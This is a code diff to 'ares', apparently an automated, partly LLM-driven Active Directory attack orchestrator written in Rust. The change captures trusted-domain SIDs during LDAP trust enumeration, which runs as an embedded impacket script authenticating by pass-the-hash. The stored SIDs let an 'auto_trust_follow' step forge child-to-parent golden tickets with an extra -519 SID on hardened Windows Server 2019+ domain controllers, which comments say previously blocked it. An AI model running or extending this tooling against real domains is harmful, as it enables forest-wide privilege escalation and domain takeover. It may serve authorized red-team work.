diff --git a/ares-cli/src/ops/inject.rs b/ares-cli/src/ops/inject.rs index 1bd451f5..08d96cb1 100644 --- a/ares-cli/src/ops/inject.rs +++ b/ares-cli/src/ops/inject.rs @@ -327,6 +327,7 @@ pub(crate) async fn ops_inject_trust( direction, trust_type: trust_type.clone(), sid_filtering, + security_identifier: None, }; let added = reader.add_trusted_domain(&mut conn, &trust).await?; diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index 61a53701..584c0756 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -2642,6 +2642,7 @@ mod tests { direction: "bidirectional".into(), trust_type: "forest".into(), sid_filtering: true, + security_identifier: None, }; let s = state_with_trust("fabrikam.local", trust); assert!(is_filtered_inter_forest_trust( @@ -2659,6 +2660,7 @@ mod tests { direction: "bidirectional".into(), trust_type: "forest".into(), sid_filtering: false, + security_identifier: None, }; let s = state_with_trust("fabrikam.local", trust); assert!(!is_filtered_inter_forest_trust( @@ -2696,6 +2698,7 @@ mod tests { direction: "bidirectional".into(), trust_type: "parent_child".into(), sid_filtering: false, + security_identifier: None, }; let s = state_with_trust("contoso.local", parent_trust); // Target fabrikam.local has no metadata — try the forge. @@ -2716,6 +2719,7 @@ mod tests { direction: "bidirectional".into(), trust_type: "forest".into(), sid_filtering: true, + security_identifier: None, }; let s = state_with_trust("fabrikam.local", target_trust); assert!(is_filtered_inter_forest_trust( diff --git a/ares-cli/src/orchestrator/completion.rs b/ares-cli/src/orchestrator/completion.rs index 08b6d1d5..e3532fe4 100644 --- a/ares-cli/src/orchestrator/completion.rs +++ b/ares-cli/src/orchestrator/completion.rs @@ -622,6 +622,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: trust_type.to_string(), sid_filtering: false, + security_identifier: None, } } diff --git a/ares-cli/src/orchestrator/result_processing/admin_checks.rs b/ares-cli/src/orchestrator/result_processing/admin_checks.rs index 607de007..b85db6c4 100644 --- a/ares-cli/src/orchestrator/result_processing/admin_checks.rs +++ b/ares-cli/src/orchestrator/result_processing/admin_checks.rs @@ -552,6 +552,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: "forest".to_string(), sid_filtering: true, + security_identifier: None, } } diff --git a/ares-cli/src/orchestrator/state/publishing/entities.rs b/ares-cli/src/orchestrator/state/publishing/entities.rs index 6560fe31..41396ae8 100644 --- a/ares-cli/src/orchestrator/state/publishing/entities.rs +++ b/ares-cli/src/orchestrator/state/publishing/entities.rs @@ -378,9 +378,25 @@ impl SharedState { let added = reader.add_trusted_domain(&mut conn, &trust).await?; if added { let domain_key = trust.domain.to_lowercase(); + // Capture the SID *before* moving `trust` into the map. Upserting + // domain_sids from trust-enum data is the load-bearing step that + // lets `auto_trust_follow` pass its parent-SID gate on hardened + // 2019+ parent DCs where the post-hoc SAMR / null-session lsaquery + // fallbacks (in `golden_ticket::resolve_domain_sid`) are blocked. + let trust_sid = trust.security_identifier.clone(); { let mut state = self.inner.write().await; state.trusted_domains.insert(domain_key.clone(), trust); + if let Some(ref sid) = trust_sid { + state.domain_sids.insert(domain_key.clone(), sid.clone()); + } + } + if let Some(sid) = trust_sid { + // Persist to redis so a replayed/reloaded operation inherits + // the SID — mirrors the persistence path used after a SAMR + // lookup succeeds in resolve_domain_sid. + let mut conn2 = queue.connection(); + let _ = reader.set_domain_sid(&mut conn2, &domain_key, &sid).await; } // Also promote the foreign domain into state.domains so the // per-domain automations pick it up. @@ -542,6 +558,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: "forest".to_string(), sid_filtering: false, + security_identifier: None, } } @@ -818,6 +835,48 @@ mod tests { assert_eq!(t.trust_type, "forest"); } + #[tokio::test] + async fn publish_trust_info_upserts_domain_sid_when_carried() { + // When the trust enum captured securityIdentifier, publish_trust_info + // must mirror it into state.domain_sids so `auto_trust_follow` passes + // its parent-SID gate without needing the SAMR/lsaquery fallbacks. + // This is the load-bearing wiring for the child→parent forge path. + let state = SharedState::new("op-sid".to_string()); + let q = mock_queue(); + + let mut trust = make_trust("contoso.local"); + trust.security_identifier = Some("S-1-5-21-1111111111-2222222222-3333333333".into()); + let added = state.publish_trust_info(&q, trust).await.unwrap(); + assert!(added); + + let s = state.inner.read().await; + assert_eq!( + s.domain_sids.get("contoso.local").map(String::as_str), + Some("S-1-5-21-1111111111-2222222222-3333333333"), + "domain_sids must be populated from the trust's security_identifier" + ); + } + + #[tokio::test] + async fn publish_trust_info_no_sid_leaves_domain_sids_empty() { + // Legacy trust enum runs (no securityIdentifier) must not corrupt + // domain_sids — we leave the slot for `golden_ticket::resolve_domain_sid` + // to fill via SAMR/lsaquery. + let state = SharedState::new("op-nosid".to_string()); + let q = mock_queue(); + + let trust = make_trust("fabrikam.local"); + assert!(trust.security_identifier.is_none()); + let added = state.publish_trust_info(&q, trust).await.unwrap(); + assert!(added); + + let s = state.inner.read().await; + assert!( + !s.domain_sids.contains_key("fabrikam.local"), + "missing SID must NOT insert a domain_sids entry" + ); + } + #[test] fn same_domain_is_same_forest() { assert!(are_in_same_forest("contoso.local", "contoso.local")); diff --git a/ares-core/src/models/core.rs b/ares-core/src/models/core.rs index 0cb79c58..5b7d3588 100644 --- a/ares-core/src/models/core.rs +++ b/ares-core/src/models/core.rs @@ -255,6 +255,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: "parent_child".to_string(), sid_filtering: false, + security_identifier: None, }; assert!(t.is_parent_child()); assert!(!t.is_cross_forest()); @@ -268,6 +269,7 @@ mod tests { direction: "outbound".to_string(), trust_type: "forest".to_string(), sid_filtering: true, + security_identifier: None, }; assert!(t.is_cross_forest()); assert!(!t.is_parent_child()); @@ -281,6 +283,7 @@ mod tests { direction: "inbound".to_string(), trust_type: "external".to_string(), sid_filtering: false, + security_identifier: None, }; assert!(t.is_cross_forest()); } @@ -293,6 +296,7 @@ mod tests { direction: String::new(), trust_type: "unknown".to_string(), sid_filtering: false, + security_identifier: None, }; assert!(!t.is_cross_forest()); assert!(!t.is_parent_child()); @@ -467,6 +471,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: "parent_child".to_string(), sid_filtering: true, + security_identifier: None, }; let json = serde_json::to_string(&trust).unwrap(); let deser: TrustInfo = serde_json::from_str(&json).unwrap(); @@ -532,6 +537,16 @@ pub struct TrustInfo { /// Whether SID filtering is active (blocks RID < 1000 across forest trusts). #[serde(default)] pub sid_filtering: bool, + /// Domain SID of the trusted partner, in canonical S-1-5-21-X-Y-Z form + /// when the LDAP `securityIdentifier` attribute was captured by + /// `enumerate_domain_trusts`. Carrying this on the trust object lets the + /// orchestrator pre-populate `state.domain_sids` for the partner without + /// a separate authenticated SAMR lookup against the foreign DC — that + /// lookup is the gate that previously blocked child→parent forge dispatch + /// on hardened (2019+) parent DCs where cross-realm NTLM is rejected and + /// null-session lsaquery is disabled. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub security_identifier: Option, } impl TrustInfo { diff --git a/ares-core/src/state/reader.rs b/ares-core/src/state/reader.rs index b760bd8e..05ff698f 100644 --- a/ares-core/src/state/reader.rs +++ b/ares-core/src/state/reader.rs @@ -767,6 +767,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: trust_type.to_string(), sid_filtering: false, + security_identifier: None, } } diff --git a/ares-llm/src/routing/credentials.rs b/ares-llm/src/routing/credentials.rs index c37cc46e..fe81168e 100644 --- a/ares-llm/src/routing/credentials.rs +++ b/ares-llm/src/routing/credentials.rs @@ -218,6 +218,7 @@ mod tests { direction: "bidirectional".to_string(), trust_type: "forest".to_string(), sid_filtering: true, + security_identifier: None, }, ); assert!(is_valid_credential_for_domain( diff --git a/ares-tools/src/parsers/trust.rs b/ares-tools/src/parsers/trust.rs index 74aa069a..661d01d9 100644 --- a/ares-tools/src/parsers/trust.rs +++ b/ares-tools/src/parsers/trust.rs @@ -28,12 +28,14 @@ pub fn parse_domain_trusts(output: &str) -> Vec { let mut trust_type: u32 = 0; let mut trust_attributes: u32 = 0; let mut flat_name = String::new(); + let mut security_identifier: Option = None; let flush = |cn: &str, trust_direction: u32, trust_type: u32, trust_attributes: u32, - flat_name: &str| + flat_name: &str, + security_identifier: &Option| -> Option { if cn.is_empty() { return None; @@ -62,13 +64,16 @@ pub fn parse_domain_trusts(output: &str) -> Vec { // (~30s doomed DCSync, then dedup locks and fallbacks fire). let sid_filtering = trust_attributes & TRUST_ATTR_QUARANTINED_DOMAIN != 0; - Some(json!({ - "domain": cn.to_lowercase(), - "flat_name": flat_name, - "direction": direction, - "trust_type": classified_type, - "sid_filtering": sid_filtering, - })) + let mut obj = serde_json::Map::new(); + obj.insert("domain".into(), json!(cn.to_lowercase())); + obj.insert("flat_name".into(), json!(flat_name)); + obj.insert("direction".into(), json!(direction)); + obj.insert("trust_type".into(), json!(classified_type)); + obj.insert("sid_filtering".into(), json!(sid_filtering)); + if let Some(sid) = security_identifier { + obj.insert("security_identifier".into(), json!(sid)); + } + Some(Value::Object(obj)) }; for line in output.lines() { @@ -81,6 +86,7 @@ pub fn parse_domain_trusts(output: &str) -> Vec { trust_type, trust_attributes, &flat_name, + &security_identifier, ) { results.push(trust); } @@ -89,6 +95,7 @@ pub fn parse_domain_trusts(output: &str) -> Vec { trust_type = 0; trust_attributes = 0; flat_name.clear(); + security_identifier = None; continue; } @@ -106,6 +113,17 @@ pub fn parse_domain_trusts(output: &str) -> Vec { trust_attributes = val.trim().parse().unwrap_or(0); } else if let Some(val) = line.strip_prefix("flatName: ") { flat_name = val.trim().to_string(); + } else if let Some(val) = line.strip_prefix("securityIdentifier: ") { + // Canonical text form, emitted by the impacket-LDAP variant of + // `enumerate_domain_trusts` after `LDAP_SID.formatCanonical()`. + security_identifier = Some(val.trim().to_string()); + } else if let Some(val) = line.strip_prefix("securityIdentifier:: ") { + // ldapsearch emits binary attrs as base64 with a `::` separator. + // Decode to bytes and parse the SID structure + // (S-1---...). + if let Some(sid) = decode_ldap_sid_base64(val.trim()) { + security_identifier = Some(sid); + } } } @@ -116,6 +134,7 @@ pub fn parse_domain_trusts(output: &str) -> Vec { trust_type, trust_attributes, &flat_name, + &security_identifier, ) { results.push(trust); } @@ -123,6 +142,50 @@ pub fn parse_domain_trusts(output: &str) -> Vec { results } +/// Decode a base64-encoded binary SID (as emitted by ldapsearch's `attr:: ` +/// output format) into the canonical `S-1----...` string. +/// +/// The Microsoft binary SID format (MS-DTYP 2.4.2): +/// - Byte 0: revision (always 1 for AD SIDs) +/// - Byte 1: SubAuthorityCount (number of 32-bit sub-authority values) +/// - Bytes 2-7: IdentifierAuthority (6 bytes, big-endian) +/// - Bytes 8+: SubAuthority array (4 bytes each, little-endian) +/// +/// Returns `None` when the input isn't a well-formed SID — better to drop the +/// SID and let the trust load without it than to inject a malformed value +/// that the downstream `auto_trust_follow` would feed into ticketer's +/// `extra_sid` arg as `-519`. +fn decode_ldap_sid_base64(b64: &str) -> Option { + use base64::Engine; + let bytes = base64::engine::general_purpose::STANDARD.decode(b64).ok()?; + if bytes.len() < 8 { + return None; + } + let revision = bytes[0]; + if revision != 1 { + return None; + } + let sub_count = bytes[1] as usize; + // Need 8 bytes header + 4 bytes per sub-authority. + if bytes.len() < 8 + 4 * sub_count { + return None; + } + // IdentifierAuthority is 6 bytes big-endian. In practice it fits in u32 + // for all AD SIDs (the top two bytes are always zero), but we read all 6 + // for safety in case a non-AD SID slips through. + let mut auth_value: u64 = 0; + for &b in &bytes[2..8] { + auth_value = (auth_value << 8) | u64::from(b); + } + let mut s = format!("S-{revision}-{auth_value}"); + for i in 0..sub_count { + let off = 8 + 4 * i; + let sub = u32::from_le_bytes([bytes[off], bytes[off + 1], bytes[off + 2], bytes[off + 3]]); + s.push_str(&format!("-{sub}")); + } + Some(s) +} + /// Classify trust type from LDAP trustType and trustAttributes values. /// /// trustAttributes is the authoritative signal: @@ -314,4 +377,126 @@ flatName: CHILD let trusts = parse_domain_trusts(output); assert_eq!(trusts[0]["domain"], "fabrikam.local"); } + + // ── securityIdentifier extraction ────────────────────────────────── + + #[test] + fn parse_trust_captures_canonical_sid_from_impacket_path() { + // impacket-LDAP variant of enumerate_domain_trusts decodes the SID + // inline and emits the canonical `S-1-...` text form. + let output = r#"dn: CN=contoso.local,CN=System,DC=child,DC=contoso,DC=local +cn: contoso.local +trustDirection: 3 +trustType: 2 +trustAttributes: 32 +flatName: CONTOSO +securityIdentifier: S-1-5-21-1111111111-2222222222-3333333333 +"#; + let trusts = parse_domain_trusts(output); + assert_eq!(trusts.len(), 1); + assert_eq!( + trusts[0]["security_identifier"], + "S-1-5-21-1111111111-2222222222-3333333333" + ); + } + + #[test] + fn parse_trust_decodes_base64_sid_from_ldapsearch_path() { + // ldapsearch emits binary attrs as `attr:: `. The decoded + // bytes form a canonical AD domain SID: + // revision=1, sub_count=4, identifier_authority=5, + // sub_auths = [21, X, Y, Z] + let output = r#"dn: CN=contoso.local,CN=System,DC=child +cn: contoso.local +trustDirection: 3 +trustType: 2 +trustAttributes: 32 +flatName: CONTOSO +securityIdentifier:: AQQAAAAAAAUVAAAAR0Y5Qog0dITLE7PG +"#; + let trusts = parse_domain_trusts(output); + assert_eq!(trusts.len(), 1); + let sid = trusts[0]["security_identifier"] + .as_str() + .expect("SID present"); + assert!( + sid.starts_with("S-1-5-21-"), + "decoded SID should be a canonical domain SID, got {sid}" + ); + // 3 sub-authorities after the leading 21 → 6 dashes total + // (S-1-5-21-X-Y-Z). + let dashes = sid.matches('-').count(); + assert_eq!(dashes, 6, "canonical domain SID has 6 dashes, got {sid}"); + } + + #[test] + fn parse_trust_security_identifier_absent_when_not_emitted() { + // Older trust enum runs (or LDAP queries without the attribute) + // produce no securityIdentifier line — the parsed object should + // omit the field entirely so the orchestrator's + // `from_value::` deserialises it to None. + let output = r#"dn: CN=fabrikam.local,CN=System +cn: fabrikam.local +trustDirection: 3 +trustType: 2 +trustAttributes: 8 +flatName: FABRIKAM +"#; + let trusts = parse_domain_trusts(output); + assert!( + trusts[0].get("security_identifier").is_none(), + "absent SID must not emit the JSON key" + ); + } + + #[test] + fn parse_trust_multiple_blocks_carry_independent_sids() { + // Two trust entries in one LDAP response — each must keep its own + // SID; state must reset between blocks. + let output = r#"dn: CN=a.local,CN=System +cn: a.local +trustDirection: 3 +trustType: 2 +trustAttributes: 32 +flatName: A +securityIdentifier: S-1-5-21-1-2-3 + +dn: CN=b.local,CN=System +cn: b.local +trustDirection: 3 +trustType: 2 +trustAttributes: 8 +flatName: B +"#; + let trusts = parse_domain_trusts(output); + assert_eq!(trusts.len(), 2); + assert_eq!(trusts[0]["security_identifier"], "S-1-5-21-1-2-3"); + assert!( + trusts[1].get("security_identifier").is_none(), + "second trust without SID line must not inherit the first's SID" + ); + } + + // ── decode_ldap_sid_base64 unit tests ────────────────────────────── + + #[test] + fn decode_sid_b64_rejects_too_short_input() { + assert!(decode_ldap_sid_base64("").is_none()); + // 4 bytes of base64 → 3 bytes decoded, well below the 8-byte minimum. + assert!(decode_ldap_sid_base64("AAAA").is_none()); + } + + #[test] + fn decode_sid_b64_rejects_invalid_base64() { + assert!(decode_ldap_sid_base64("not!valid!base64!").is_none()); + } + + #[test] + fn decode_sid_b64_rejects_wrong_revision() { + // Revision byte = 2 (only 1 is valid for AD SIDs). + use base64::Engine; + let bad = base64::engine::general_purpose::STANDARD + .encode([2u8, 1, 0, 0, 0, 0, 0, 5, 0, 0, 0, 0]); + assert!(decode_ldap_sid_base64(&bad).is_none()); + } } diff --git a/ares-tools/src/recon.rs b/ares-tools/src/recon.rs index 6656819a..f5a87823 100644 --- a/ares-tools/src/recon.rs +++ b/ares-tools/src/recon.rs @@ -434,13 +434,23 @@ pub async fn enumerate_domain_trusts(args: &Value) -> Result { }; // Use impacket's LDAP client for pass-the-hash authentication. // Output mimics ldapsearch format so the trust parser can handle it. + // + // `securityIdentifier` is requested + decoded inline so the parser + // gets it in canonical `S-1-5-21-X-Y-Z` form (LDAP returns it as a + // binary SID blob). This is what `auto_trust_follow` reads to + // satisfy the parent-SID gate on child→parent forge dispatch + // without a separate SAMR lookup against the foreign DC — that + // lookup is the load-bearing blocker on hardened 2019+ parent DCs + // where cross-realm NTLM SAMR is rejected and null-session + // lsaquery is disabled by default. let ldap_query = format!( r#"python3 -c " from impacket.ldap import ldap as ldap_mod +from impacket.ldap.ldaptypes import LDAP_SID conn = ldap_mod.LDAPConnection('ldap://{target}', '{base_dn}', '{target}') conn.login('{u}', '', '{bind_domain}', lmhash='', nthash='{nt_hash}') sc = ldap_mod.SimplePagedResultsControl(size=1000) -resp = conn.search(searchFilter='(objectClass=trustedDomain)', attributes=['cn','trustDirection','trustType','trustAttributes','flatName'], searchControls=[sc]) +resp = conn.search(searchFilter='(objectClass=trustedDomain)', attributes=['cn','trustDirection','trustType','trustAttributes','flatName','securityIdentifier'], searchControls=[sc]) for item in resp: try: dn = str(item['objectName']) @@ -450,7 +460,14 @@ for item in resp: for attr in item['attributes']: name = str(attr['type']) for val in attr['vals']: - print(f'{{name}}: {{val}}') + if name == 'securityIdentifier': + try: + sid_obj = LDAP_SID(bytes(val)) + print(f'securityIdentifier: {{sid_obj.formatCanonical()}}') + except Exception: + pass + else: + print(f'{{name}}: {{val}}') print() except Exception: pass @@ -494,6 +511,10 @@ for item in resp: "trustType", "trustAttributes", "flatName", + // securityIdentifier comes back as base64 (binary SID); the + // parser decodes it. Required for child→parent forge — see + // the comment block above the impacket variant. + "securityIdentifier", ]) .execute() .await